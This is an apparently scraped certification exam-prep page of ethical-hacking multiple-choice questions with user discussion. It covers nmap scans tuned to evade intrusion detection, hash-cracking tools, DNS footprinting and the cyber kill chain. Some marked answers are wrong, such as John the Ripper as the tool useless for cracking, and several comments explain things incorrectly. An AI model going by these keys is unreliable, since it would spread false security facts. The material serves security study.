



- Expert Verified, Online, Free.

Custom View Settings

In this form of encryption algorithm, every individual block contains 64-bit data, and three keys are used, where each key consists of 56 bits. Which is this encryption algorithm?

- A. IDEA
- B. Triple Data Encryption Standard
- C. AES
- D. MD5 encryption algorithm

Correct Answer: **B**

Community vote distribution

B (100%)

✉  The1NightHawk 1 week, 1 day ago

B. Triple Data Encryption Standard - Correct Answer (Verified)
upvoted 2 times

✉  a0c5dc3 8 months, 4 weeks ago

Selected Answer: B
Triple Data Encryption Standard (Triple DES or 3DES).
upvoted 1 times

✉  insanint 10 months, 1 week ago

Selected Answer: B
B. Triple Data Encryption Standard
upvoted 1 times

✉  581777a 1 year, 1 month ago

Selected Answer: B
B. Triple Data Encryption Standard
upvoted 1 times

✉  hsh67080 1 year, 2 months ago

Selected Answer: B
B. Triple Data Encryption Standard
upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: B
B. Triple Data Encryption Standard
upvoted 3 times

✉  eli117 1 year, 5 months ago

Selected Answer: B
The encryption algorithm described is the Data Encryption Standard (DES). DES uses a block cipher to encrypt data in 64-bit blocks, and it uses three keys in a process called Triple DES (3DES) encryption. Each key is 56 bits long, but only 48 of those bits are used in each round of the encryption process. DES was widely used in the past, but it has since been replaced by more modern and secure encryption algorithms like the Advanced Encryption Standard (AES).
upvoted 3 times

John is investigating web-application firewall logs and observes that someone is attempting to inject the following:

```
char buff[10];
buff[10] = 'a';
```

What type of attack is this?

- A. SQL injection
- B. Buffer overflow
- C. CSRF
- D. XSS

Correct Answer: *B*

Community vote distribution

B (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: B

the attacker is attempting to write data beyond the bounds of the buffer by assigning a value to the element at index 10 of the buff array, which only has 10 elements (0-9). This can lead to overwriting adjacent memory locations, potentially allowing the attacker to execute arbitrary code or manipulate the program's behavior in unintended ways.

upvoted 6 times

✉️  a0c5dc3 Most Recent 8 months, 4 weeks ago

Selected Answer: B

The line [buff[10] = 'a';] indicates a potential Buffer Overflow vulnerability.

Answer is B. Buffer overflow

upvoted 1 times

✉️  insaniumt 10 months, 1 week ago

Selected Answer: B

B. Buffer overflow

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: B

B. Buffer overflow

upvoted 1 times

John, a professional hacker, performs a network attack on a renowned organization and gains unauthorized access to the target network. He remains in the network without being detected for a long time and obtains sensitive information without sabotaging the organization. Which of the following attack techniques is used by John?

- A. Insider threat
- B. Diversion theft
- C. Spear-phishing sites
- D. Advanced persistent threat

Correct Answer: D

Community vote distribution

D (100%)

✉️👤 eli117 Highly Voted 1 year, 5 months ago

Selected Answer: D

An advanced persistent threat (APT) is a type of cyber attack where an attacker gains unauthorized access to a network and remains undetected for an EXTENDED PERIOD OF TIME.

upvoted 6 times

✉️👤 insanaint Most Recent 10 months, 1 week ago

Selected Answer: D

D. Advanced persistent threat

upvoted 1 times

✉️👤 jeremy13 1 year, 5 months ago

Selected Answer: D

D. Advanced persistent threat

like V11 Q227

upvoted 1 times

You are attempting to run an Nmap port scan on a web server. Which of the following commands would result in a scan of common ports with the least amount of noise in order to evade IDS?

- A. nmap -A -Pn
- B. nmap -sP -p-65535 -T5
- C. nmap -sT -O -T0
- D. nmap -A --host-timeout 99 -T1

Correct Answer: C

Community vote distribution

C (88%) 12%

✉  eli117 6 days, 2 hours ago

Selected Answer: B

unfortunately they are all noisy so you have to choose the BEST option.

B. nmap -sP -p-65535 -T5

This command uses the following options:

-sP: This option specifies a Ping scan to discover hosts that are up and running, without actually scanning any ports.

-p-65535: This option specifies that all ports from 1 to 65535 should be scanned.

-T5: This option sets the timing template to aggressive, which means that the scan will run faster
upvoted 2 times

✉  Oushi 1 year, 5 months ago

If the question specifically says that you're attempting to run a port scan and asks which scan would result in a scan of common ports, why would we use -sP which you say doesn't do any port scanning? Why would we run any kind of scan at -T5 if we're specifically asked to create as little noise as possible when we know that the speed of -T5 means all of that network traffic will get created at once?

upvoted 3 times

✉  Stoa 1 year, 1 month ago

The question mentions that it is a web server, so it is specifying the target and that is the reason why it is not necessary to search the network for new targets, and I agree that the question also mentions that it is a port scan, now if that is not enough the T5 will sound all the alarms.

upvoted 2 times

✉  sausageman 6 days, 2 hours ago

Selected Answer: C

Correct option is C.

-T0 option is called "paranoid" because it's slow to try and avoid detection.

"While -T0 and -T1 may be useful for avoiding IDS alerts, they will take an extraordinarily long time to scan thousands of machines or ports. For such a long scan, you may prefer to set the exact timing values you need rather than rely on the canned -T0 and -T1 values."

You can find this in the official documentation:

upvoted 2 times

✉  digas 6 days, 2 hours ago

Selected Answer: C

Correct option is C.

-T0 option is called "paranoid" because it's slow to try and avoid detection.

"While -T0 and -T1 may be useful for avoiding IDS alerts, they will take an extraordinarily long time to scan thousands of machines or ports. For such a long scan, you may prefer to set the exact timing values you need rather than rely on the canned -T0 and -T1 values."

You can find this in the official documentation:

upvoted 3 times

✉  Kermitdfrog 7 months, 1 week ago

Selected Answer: C

-T0 makes the least noise. -T5 the most noise.

This is on the exam.

upvoted 4 times

✉  insaniumt 10 months, 1 week ago

Selected Answer: C

C. nmap -sT -O -T0

upvoted 2 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: C

C. nmap -sT -O -T0
Like V10 Q44
T0 => paranoid
upvoted 4 times

Question #5

Topic 1

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-256, HMAC-SHA384, and ECDSA using a 384-bit elliptic curve.

Which is this wireless security protocol?

- A. WPA3-Personal
- B. WPA3-Enterprise
- C. WPA2-Enterprise
- D. WPA2-Personal

Correct Answer: B

Community vote distribution

B (100%)

✉️  eli117  1 year, 5 months ago

Selected Answer: B

B. WPA3-Enterprise

WPA3 (Wi-Fi Protected Access 3) is the latest wireless security protocol that provides improved security and privacy over the older WPA2 protocol. WPA3-Enterprise is designed for use in enterprise environments, where security is a critical concern. WPA3-Enterprise provides strong encryption and authentication mechanisms to protect against various types of attacks, including password-based attacks and man-in-the-middle attacks.

WPA3-Enterprise supports the use of 192-bit minimum-strength security protocols, such as GCMP-256, to protect sensitive data. It also uses cryptographic tools like HMAC-SHA384 and ECDSA using a 384-bit elliptic curve to provide strong security.

WPA3-Personal, on the other hand, is designed for use in home networks and provides improved security over the older WPA2-Personal protocol, but it does not support the same level of security protocols as WPA3-Enterprise.

upvoted 5 times

✉️  Kermitdfrog  7 months, 1 week ago

Selected Answer: B

This is on the exam.
upvoted 3 times

✉️  insanaint 10 months, 1 week ago

Selected Answer: B

B. WPA3-Enterprise
upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: B

B. WPA3-Enterprise
like V11 Q204
upvoted 1 times

What are common files on a web server that can be misconfigured and provide useful information for a hacker such as verbose error messages?

- A. httpd.conf
- B. administration.config
- C. php.ini
- D. idq.dll

Correct Answer: C

Community vote distribution

C (83%)

A (17%)

✉  sausageman  1 year, 5 months ago

Selected Answer: C

C:php.ini

CEH Book v12 Module 13 Page 1163

"As shown in the below figure, the configuration may give verbose error messages."

"Figure 13.12: Screenshot displaying the php.ini file"

upvoted 11 times

✉  brrbrr  7 months, 1 week ago

Selected Answer: C

display_errors = on

The display_errors directive must be set to "on" in the PHP ini file. This will display all the errors including syntax or parse errors that cannot be displayed by just calling the ini_set function in the PHP code.

upvoted 1 times

✉  insanaint 10 months, 1 week ago

Selected Answer: C

php.ini

page 1791, 312-50 Certified Ethical Hacker

upvoted 1 times

✉  Harryspills 11 months ago

So, while httpd.conf and php.ini are valid answers, in the context of verbose error messages, php.ini would be a more direct source of such information because it controls the output of errors in PHP, which is a common language for web applications. Verbose error messages can reveal paths, database details, and other sensitive information that can be exploited by a hacker.

upvoted 3 times

✉  Harryspills 11 months ago

both are correct

upvoted 1 times

✉  Takue 1 year ago

Correct Answer is C

httpd.conf refers to the configuration may allow anyone to view the server status page, which contains detailed information about the current use of the web server, including information about the current hosts and requests being processed.

php.ini refers to the configuration may give verbose error message

upvoted 1 times

✉  kaben 1 year, 2 months ago

Selected Answer: C

php.ini misconfiguration may give verbose error messages. see pages 1792, Exam 312-50 Certified Ethical Hacker

upvoted 1 times

✉  naija4life 1 year, 3 months ago

Selected Answer: A

httpd.conf

upvoted 1 times

✉  aukaaya 1 year, 5 months ago

C:php.ini is the correct one

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: C

C: php.ini

Although I think httpd.conf is also a possible answer, I would say php.ini which can disclose more error messages (database etc..)

upvoted 1 times

✉️  eli117 1 year, 5 months ago

Selected Answer: A

A. httpd.conf

While files such as php.ini (which can also contain sensitive configuration information for PHP-based web applications) can also be misconfigured and provide useful information to attackers, httpd.conf is generally considered to be the most commonly targeted file for this purpose, due to the widespread use of the Apache web server.

upvoted 2 times

Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market. To launch the attacks process, he performed DNS footprinting to gather information about DNS servers and to identify the hosts connected in the target network. He used an automated tool that can retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records. He further exploited this information to launch other sophisticated attacks.

What is the tool employed by Gerard in the above scenario?

- A. Towelroot
- B. Knative
- C. zANTI
- D. Pluto

Correct Answer: D

Community vote distribution

D (100%)

✉️  Vincent_Lu Highly Voted  1 year, 3 months ago

D. Pluto

A. Towelroot is an Android phone root tool released by information security expert GeoHot. Users can use Towelroot to root their phones quickly and easily.

B. Knative is an open source platform based on Kubernetes, mainly used for the development and execution of container applications, which can be executed in cloud and local environments.

C. zANTI is a popular Android mobile security testing tool, mainly used to test the security and weaknesses of mobile applications, including vulnerability scanning, password cracking, MITM attacks, etc.

D. Pluto is a DNS penetration testing tool based on Python, which can be used to test the security and vulnerability of DNS servers in the network. Pluto can access DNS servers in the network and extract information from them, crack passwords, modify DNS information, etc.

upvoted 14 times

✉️  insaniumt Most Recent  10 months, 1 week ago

Selected Answer: D

D. Pluto

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: D

D. Pluto

like V11 Q171

upvoted 2 times

✉️  eli117 1 year, 5 months ago

Selected Answer: D

D. Pluto

Pluto is an automated tool used for DNS footprinting. It is designed to retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records. It can be used to map out a network and identify potential targets for further attacks.

upvoted 3 times

Tony is a penetration tester tasked with performing a penetration test. After gaining initial access to a target system, he finds a list of hashed passwords.

Which of the following tools would not be useful for cracking the hashed passwords?

- A. Hashcat
- B. John the Ripper
- C. THC-Hydra
- D. netcat

Correct Answer: **B**

Community vote distribution

D (97%)

✉️  a0c5dc3 Highly Voted 10 months ago

Selected Answer: D

the correct answer is D. netcat. While netcat is a valuable tool for other purposes, it won't help you crack those hashed passwords.
upvoted 5 times

✉️  kamilradek99 Most Recent 4 days, 23 hours ago

Selected Answer: D

Netcat

Netcat is a networking utility that reads and writes data across network connections, using the TCP/IP protocol. It is a reliable "back-end" tool used directly or driven by other programs and scripts. It is also a network debugging and exploration tool
upvoted 1 times

✉️  AEROP223 8 months, 4 weeks ago

Mod 6 page 613 - john the ripper can be used for offline password hash cracking, so netcat
upvoted 1 times

✉️  insaniumt 10 months, 1 week ago

Selected Answer: D

Netcat

Netcat is a networking utility that reads and writes data across network connections, using the TCP/IP protocol. It is a reliable "back-end" tool used directly or driven by other programs and scripts. It is also a network debugging and exploration tool
upvoted 4 times

✉️  Srininag19 10 months, 2 weeks ago

the question is which of the tool will "not" be useful for password cracking.. John the riper cannot be right in this case then since its used mainly fo that.
upvoted 2 times

✉️  dvst8s64 10 months, 3 weeks ago

Selected Answer: D

netcat is the tool that does NOT allow password cracking.
upvoted 2 times

✉️  verboser 11 months, 2 weeks ago

Selected Answer: A

Hashcat is a powerful password cracking tool that can be used to crack a wide range of hashed passwords, including those protected with strong encryption methods. However, Hashcat may not be the best choice when dealing with a list of hashed passwords that are salted and hashed using a slow and resource-intensive algorithm, such as bcrypt or scrypt. These algorithms are intentionally designed to be computationally expensive, making them resistant to brute force attacks and slowing down password cracking tools like Hashcat. In such cases, specialized tools and techniques are required to efficiently crack the hashed passwords.
upvoted 1 times

✉️  N00b1e 12 months ago

Selected Answer: D

Netcat is not used for cracking
upvoted 1 times

✉️  nickfun 1 year ago

Selected Answer: D

netcat is the correct answer

netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. The command is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of connection its user could need and has a number of built-in capabilities.

upvoted 3 times

✉️  **Poralee** 1 year ago

Selected Answer: D

netcat is the correct answer

upvoted 2 times

✉️  **Osaar_** 1 year ago

Instead of being a tool for password cracking, Netcat (commonly abbreviated as nc) is a networking tool that may be used for a variety of network-related tasks, including port scanning, banner capturing, establishing reverse shells, and more. Password cracking is not its intended use.

However, during penetration testing or security assessments, well-known programs such as Hashcat, John the Ripper, and THC-Hydra are used to decrypt hashed passwords. They are created specifically to conduct dictionary-based and password-cracking attacks against hashed passwords.

upvoted 3 times

✉️  **EnidV** 1 year, 1 month ago

Selected Answer: D

netcat would NOT be useful for cracking the hashed passwords.

upvoted 1 times

✉️  **LucasCravero** 1 year, 1 month ago

Selected Answer: D

Netcat is the correct answer, "Not To Be Used".

upvoted 3 times

✉️  **jks945797** 1 year, 1 month ago

Selected Answer: D

D. netcat

upvoted 2 times

✉️  **Stoa** 1 year, 1 month ago

Selected Answer: D

Trust me bro!

upvoted 2 times

✉️  **steffBarj** 1 year, 2 months ago

Netcat is the correct answer

upvoted 1 times

✉️  **TRDRPR** 1 year, 2 months ago

I think there is an error in the question, because the correct is John The Ripper, but they've added "Not To Be Used"

upvoted 1 times

Which of the following Google advanced search operators helps an attacker in gathering information about websites that are similar to a specified target URL?

- A. [inurl:]
- B. [info:]
- C. [site:]
- D. [related:]

Correct Answer: D

Community vote distribution

D (100%)

✉️  Stoa Highly Voted  1 year, 1 month ago

Selected Answer: D

- A. [inurl:] Searches for text within the URL.
- B. [info:] Provides information about a specific site.
- C. [site:] The search will be performed only on the specified site.
- D. [related:] Searches for similar sites [Correct].

upvoted 9 times

✉️  insanjunt Most Recent  10 months, 1 week ago

Selected Answer: D

- D. [related:]

upvoted 1 times

✉️  Benignhack 1 year, 1 month ago

Selected Answer: D

Related

upvoted 1 times

✉️  duke_of_kamulu 1 year, 3 months ago

related similar same is key point D is the answer
upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: D

D. related
List web pages that are "similar" to a specified web page.
upvoted 3 times

✉️  eli117 1 year, 5 months ago

Selected Answer: D

D. [related:]

The [related:] operator can be used to find websites that are similar to a specified URL. This can be useful for attackers who are looking to identify other websites that may be associated with a target, such as partners or suppliers, or to identify potential attack vectors that may be present on other websites.

upvoted 2 times

You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email.
Which stage of the cyber kill chain are you at?

- A. Reconnaissance
- B. Weaponization
- C. Command and control
- D. Exploitation

Correct Answer: D

Community vote distribution

B (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: B

B. Weaponization

The cyber kill chain is a framework that describes the different stages of a cyber attack. The stages of the kill chain are as follows:

Reconnaissance
Weaponization
Delivery
Exploitation
Installation
Command and Control
Actions on Objectives

In this scenario, the penetration tester has already completed the first stage of reconnaissance by harvesting the employees' email addresses from public sources. They are now in the second stage of weaponization, where they are creating a client-side backdoor and attaching it to an email in order to deliver it to the employees.

The next stages of the kill chain would be delivery, where the email is sent to the employees, followed by exploitation, installation, and command and control, where the attacker gains access to the target system and establishes a channel for ongoing communication.

upvoted 22 times

✉️  nickfun Most Recent 6 days, 2 hours ago

Selected Answer: B

B. Weaponization

This stage involves the creation or acquisition of a malicious payload, like a client-side backdoor, and preparing it for delivery to the target. In this scenario, you are creating a client-side backdoor to send to the employees via email, which is the weaponization stage.

upvoted 3 times

✉️  kimsteve 6 days, 2 hours ago

Selected Answer: B

Based on the vulnerabilities identified during analysis, the adversary selects or creates a tailored deliverable malicious payload (remote-access malware weapon) using an exploit and a backdoor to send it to the victim. An adversary may target specific network devices, operating systems, endpoint devices, or even individuals within the organization to carry out their attack.

upvoted 1 times

✉️  mashhood 8 months, 1 week ago

B. Weaponization

upvoted 2 times

✉️  insanaint 10 months, 1 week ago

Selected Answer: B

B. Weaponization

are ***creating*** a client-side backdoor to send it to the employees via email.

upvoted 2 times

✉️  rayy48 10 months, 3 weeks ago

Weaponization as well

upvoted 1 times

✉️  hejono5538 11 months ago

Selected Answer: B

Weaponization
upvoted 1 times

✉  killwitch 11 months, 2 weeks ago

Selected Answer: B

B: Weaponization

Weird that even though this is most voted answer I see selected D...
upvoted 1 times

✉  amy_trini 11 months, 2 weeks ago

B. Weaponization
upvoted 1 times

✉  ZacharyDriver 1 year, 2 months ago

Selected Answer: B

B. Weaponization
upvoted 2 times

✉  Rizwann 1 year, 2 months ago

Selected Answer: B

Weaponisation
upvoted 1 times

✉  Vincent_Lu 1 year, 3 months ago

B. Weaponization
upvoted 2 times

✉  teenwolf18 1 year, 5 months ago

Weaponization
upvoted 2 times

✉  HeyacedoGomez 1 year, 5 months ago

Selected Answer: B

Weaponization
upvoted 3 times

✉  bellabop 1 year, 5 months ago

Selected Answer: B

B. Weaponization
upvoted 4 times

While performing an Nmap scan against a host, Paola determines the existence of a firewall.

In an attempt to determine whether the firewall is stateful or stateless, which of the following options would be best to use?

- A. -sA
- B. -sX
- C. -sT
- D. -sF

Correct Answer: A

Community vote distribution

A (90%) 10%

✉️  ptrckm  1 year, 5 months ago

Selected Answer: A

Correct answer is A.

From the nmap manual: "-sA (TCP ACK scan) This scan is different than the others discussed so far in that it never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered."

upvoted 13 times

✉️  jeremy13  1 year, 5 months ago

Selected Answer: A

A: -sA

One of the most interesting uses of ACK scanning is to differentiate between stateful and stateless firewalls. See the section called "ACK Scan" for how to do this and why you would want to.

upvoted 10 times

✉️  cybershortie  2 months, 2 weeks ago

A

-sA (ACK scan): This type of scan can help determine if a firewall is stateful or stateless. It sends ACK packets to a target and analyzes the response. Stateless firewalls will typically drop the packets, while stateful firewalls will either drop them silently or return RST packets.

upvoted 1 times

✉️  insanint 10 months, 1 week ago

Selected Answer: A

A. -sA

upvoted 2 times

✉️  Benny_On 11 months, 3 weeks ago

When a TCP ACK scan sends an ACK packet to a port that is not expecting it, a stateful firewall will recognize that the packet does not belong to any existing connection, and will drop it or send an ICMP error message. A stateless firewall will not be able to tell if the packet is part of a connection or not, and will only check if the port is open or closed. If the port is open or closed, the target host will send a RST packet in response to the ACK packet. This will cause Nmap to report the port as unfiltered.

upvoted 4 times

✉️  qtygbapjpesdayazko 6 months, 3 weeks ago

This is the way

upvoted 1 times

✉️  nickfun 1 year ago

Selected Answer: A

correct option is A: -sA

upvoted 1 times

✉️  Harrysphills 1 year, 4 months ago

C. -sT

The "-sT" option in Nmap performs a TCP connect scan, which involves establishing a full TCP connection with the target host. This type of scan can help determine if the firewall is stateful because it requires the firewall to maintain and track the state of the TCP connections. If the scan is successful and shows open ports, it indicates that the firewall is likely stateful since it allows the establishment of full TCP connections

upvoted 1 times

✉️  teenwolf18 1 year, 5 months ago

TCP ACK Scan (-sA)

upvoted 2 times

✉️  eli117 1 year, 5 months ago

Selected Answer: C

C. -sT

The -sT option in Nmap is used to perform a TCP connect scan. This scan involves attempting to establish a full TCP connection with the target host on the specified port(s). If the connection is successful, it indicates that the target port is open and that the firewall is stateful (i.e., it is allowing traffic that is part of an established connection).

If the connection is unsuccessful, it indicates that the target port is either closed or filtered by a stateless firewall (i.e., a firewall that does not keep track of the state of network connections). Note that some stateless firewalls may block TCP connect scans altogether, so this method may not always be effective in identifying whether a firewall is stateful or stateless.

upvoted 3 times

✉️  sausageman 1 year, 5 months ago

You need to get your NMAP right. 2 questions you answered wrong about NMAP already

upvoted 8 times

✉️  CHCHCHC 1 year, 1 month ago

the last sentence of your answer proves your answer is wrong buddy.

upvoted 1 times

A newly joined employee, Janet, has been allocated an existing system used by a previous employee. Before issuing the system to Janet, it was assessed by Martin, the administrator. Martin found that there were possibilities of compromise through user directories, registries, and other system parameters. He also identified vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors.

What is the type of vulnerability assessment performed by Martin?

- A. Database assessment
- B. Host-based assessment
- C. Credentialled assessment
- D. Distributed assessment

Correct Answer: **B**

Community vote distribution

B (86%) 14%

✉  **kimsteve** 10 months ago

Selected Answer: B

Host-based assessments are a type of security check that involve conducting a configuration-level check to identify system configurations, user directories, file systems, registry settings, and other parameters to evaluate the possibility of compromise. These assessments check the security of a particular network or server. Host-based scanners assess systems to identify vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors. Host-based assessments use many commercial and open-source scanning tools.

upvoted 1 times

✉  **insaniunt** 10 months, 1 week ago

Selected Answer: B

B. Host-based assessment

upvoted 1 times

✉  **vargasamson** 11 months, 2 weeks ago

Selected Answer: B

B. Host-based assessment

Martin definitely investigate one concrete machine, which is a host-based assessment.

upvoted 1 times

✉  **jks945797** 1 year, 1 month ago

Selected Answer: B

B. Host-based assessment

upvoted 1 times

✉  **amomyty** 1 year, 2 months ago

C. Credentialled assessment

upvoted 1 times

✉  **naija4life** 1 year, 3 months ago

Selected Answer: C

C. Credentialled assessment

Credentialled scans require administrative access to the systems being scanned and are performed using the same credentials and privileges as an administrative user. The scans perform a thorough examination of the system, looking for vulnerabilities that could be exploited by a malicious attacker.

upvoted 1 times

✉  **Harryspills** 1 year, 4 months ago

The type of vulnerability assessment performed by Martin is:

B. Host-based assessment

In a host-based assessment, the focus is on evaluating the security of an individual system or host. Martin assessed the allocated system by examining user directories, registries, system parameters, native configuration tables, registry or file permissions, and software configuration errors. This type of assessment helps identify vulnerabilities specific to the host, including misconfigurations, insecure settings, and potential avenues for compromise. It aims to ensure the security and integrity of the individual system being assessed.

upvoted 2 times

✉  **jeremy13** 1 year, 5 months ago

Selected Answer: B

B. Host-based assessment

Like V11 Q245

upvoted 1 times

eli117 1 year, 5 months ago

Selected Answer: B

B. Host-based assessment

A host-based assessment is a type of vulnerability assessment that focuses on individual computer systems or hosts. It involves examining the configuration, settings, and software installed on the host to identify vulnerabilities that could be exploited by attackers.

upvoted 1 times

Jane, an ethical hacker, is testing a target organization's web server and website to identify security loopholes. In this process, she copied the entire website and its content on a local drive to view the complete profile of the site's directory structure, file structure, external links, images, web pages, and so on. This information helps Jane map the website's directories and gain valuable information.

What is the attack technique employed by Jane in the above scenario?

- A. Session hijacking
- B. Website mirroring
- C. Website defacement
- D. Web cache poisoning

Correct Answer: **B**

Community vote distribution

B (100%)

✉  eli117  1 year, 5 months ago

Selected Answer: B

B. Website mirroring

Website mirroring (also known as website copying or website cloning) is a technique used to create a copy of a website or web application on a local drive or server. This technique is often used by ethical hackers and security researchers to analyze the structure and content of a website in order to identify vulnerabilities or security weaknesses.

upvoted 6 times

✉  cybershortie  2 months, 2 weeks ago

B. Website mirroring

Website mirroring involves copying the entire website and its content to a local drive to view the complete profile of the site's directory structure, file structure, external links, images, web pages, and so on. This technique helps in mapping the website's directories.

upvoted 1 times

✉  insanint 10 months, 1 week ago

Selected Answer: B

B. Website mirroring

upvoted 1 times

✉  sudowhoami 11 months, 2 weeks ago

Selected Answer: B

"she copied the entire website and its content" - This is the hint.

upvoted 1 times

✉  vargasamson 11 months, 2 weeks ago

Selected Answer: B

Recommend to try HTTrack to create offline copy from website.

upvoted 1 times

✉  Hamlemdr 1 year, 2 months ago

Selected Answer: B

Website Mirroring

upvoted 1 times

✉  Vincent_Lu 1 year, 3 months ago

B. Website Mirroring

upvoted 1 times

✉  Harryspills 1 year, 4 months ago

B. Website mirroring

upvoted 2 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: B

B. Website mirroring

upvoted 1 times

 teenwolf18 1 year, 5 months ago

B. Website Mirroring
upvoted 1 times

An organization is performing a vulnerability assessment for mitigating threats. James, a pen tester, scanned the organization by building an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server, or a database server. After identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant tests.

What is the type of vulnerability assessment solution that James employed in the above scenario?

- A. Service-based solutions
- B. Product-based solutions
- C. Tree-based assessment
- D. Inference-based assessment

Correct Answer: D

Community vote distribution

D (87%) 13%

✉️  **jeremy13** Highly Voted 1 year, 5 months ago

Selected Answer: D

Book V12 : module 5 page 558

There are four types of vulnerability assessment solutions: product-based solutions, service-based solutions, tree-based assessment, and inference-based assessment.

In an inference-based assessment, scanning starts by building an inventory of the protocols found on the machine. After finding a protocol, the scanning process starts to detect which ports are attached to services, such as an email server, web server, or database server. After finding services, it selects vulnerabilities on each machine and starts to execute only those relevant tests.

upvoted 18 times

✉️  **phojr** 1 year, 2 months ago

Do you have an offline book to read?

upvoted 1 times

✉️  **Chipless** Most Recent 6 days, 2 hours ago

Selected Answer: D

In an inference-based assessment, scanning starts by building an inventory of the protocols found on the machine. After finding a protocol, the scanning process starts to detect which ports are attached to services, such as an email server, web server, or database server. After finding services, it selects vulnerabilities on each machine and starts to execute only those relevant tests. SOURCE: CEH v12 eBook Module 5 pg 375

upvoted 3 times

✉️  **Juice98** 6 days, 2 hours ago

Selected Answer: D

- Inference-Based Assessment In an inference-based assessment, scanning starts by building an inventory of the protocols found on the machine. After finding a protocol, the scanning process starts to detect which ports are attached to services, such as an email server, web server, or database server. After finding services, it selects vulnerabilities on each machine and starts to execute only those relevant tests.

upvoted 4 times

✉️  **brrbrr** 6 days, 2 hours ago

Selected Answer: D

- Product-based solutions: installed in the internal network
 - Service-based solutions: offered by third parties
 - Tree-based assessment: different strategies are selected for each machine
 - Inference-based assessment
1. Find the protocols to scan
 2. Scan and find the found protocols and their services,
 3. Select the vulnerabilities and begins with executing relevant tests.

upvoted 4 times

✉️  **qtygbapjpesdayazko** 6 months, 3 weeks ago

This is the way

upvoted 1 times

✉️  **cybershortie** 2 months, 2 weeks ago

D. Inference-based assessment starts with building inventory of protocols

upvoted 1 times

✉  Nicknp 4 months, 3 weeks ago

Selected Answer: D

Option D

upvoted 1 times

✉  kikour 5 months, 3 weeks ago

Selected Answer: A

detect which ports are attached to services such as an email server, a web server, or a database server

It's finding for services

upvoted 1 times

✉  [Removed] 9 months, 2 weeks ago

Selected Answer: D

D. Inference-based assessment. This was a question for me when I took the exam on 13 Dec 2023.

upvoted 3 times

✉  insanaint 10 months, 1 week ago

Selected Answer: D

D. Inference-based assessment

upvoted 1 times

✉  IPconfig 11 months ago

Selected Answer: D

Inference-Based Assessment

In an inference-based assessment, scanning starts by building an inventory of the protocols found on the machine. After finding a protocol, the scanning process starts to detect which ports are attached to services, such as an email server, web server, or database server. After finding services, it selects vulnerabilities on each machine and starts to execute only those relevant tests

Service-Based Solutions

Service-based solutions are offered by third parties, such as auditing or security consulting firms. Some solutions are hosted inside the network, while others are hosted outside the network. A drawback of this solution is that attackers can audit the network from the outside

upvoted 2 times

✉  N00b1e 1 year ago

Selected Answer: D

Tree-based Assessment is the approach in which auditor follows different strategies for each component of an environment

Inference-based Assessment is the approach to assist depending on the inventory of protocols in an environment

Source: https://github.com/g0rbe/CEH/blob/master/05_Vulnerability_Analysis.md

upvoted 2 times

✉  insanaint 1 year, 1 month ago

Selected Answer: A

In this scenario, James built an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server, or a database server. He then selected the vulnerabilities on each machine and executed only the relevant tests based on the services identified. This approach is characteristic of service-based solutions, where the vulnerability assessment is focused on specific services running on the machines.

upvoted 3 times

✉  Harryspills 1 year, 4 months ago

A. Service-based solutions

In a service-based vulnerability assessment, the focus is on identifying vulnerabilities associated with specific services or protocols running on the organization's machines. James built an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as email server, web server, or database server. He then selected the vulnerabilities specific to each machine and executed relevant tests targeting those services. This approach allows for a more targeted and efficient assessment, focusing on the vulnerabilities associated with the identified services.

upvoted 1 times

✉  teenwolf18 1 year, 5 months ago

inference-based assessment: scanning starts by building an inventory of the protocols found on the machine.

upvoted 1 times

✉  ptrckm 1 year, 5 months ago

Selected Answer: D

D. Inference-based assessment

"In this approach, we pre-provide the tool with services and protocols found on the machine. The tool starts the scanning process to detect the ports attached to services... Once it finds the services, it scans only the provided services for vulnerabilities." according to https://www.linkedin.com/pulse/various-approaches-involved-vulnerability-assessment-solutions-agha0?trk=pulse-article_more-articles_related-content-card

upvoted 3 times

 eli117 1 year, 5 months ago

Selected Answer: A

A. Service-based solutions

Service-based solutions are a type of vulnerability assessment solution that focus on identifying the services and protocols that are running on a network or system. This involves building an inventory of the protocols found on the organization's machines in order to detect which ports are attached to services such as an email server, a web server, or a database server. Once the services have been identified, the vulnerabilities on each machine are selected, and only the relevant tests are executed.

Option B (Product-based solutions) involves assessing the security of specific products or applications, such as operating systems or web applications.

Option C (Tree-based assessment) and option D (Inference-based assessment) are not recognized types of vulnerability assessment solutions.

upvoted 2 times

Taylor, a security professional, uses a tool to monitor her company's website, analyze the website's traffic, and track the geographical location of the users visiting the company's website.

Which of the following tools did Taylor employ in the above scenario?

- A. Webroot
- B. Web-Stat
- C. WebSite-Watcher
- D. WAFW00F

Correct Answer: **B**

Community vote distribution

B (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: B

B. Web-Stat

Web-Stat is a web analytics tool that allows users to monitor and analyze website traffic. It provides real-time data about the number of visitors to website, the pages they visit, the time they spend on each page, and the geographical location of the visitors. This information can be used by security professionals to identify potential threats or anomalies in website traffic and to track the effectiveness of security measures.

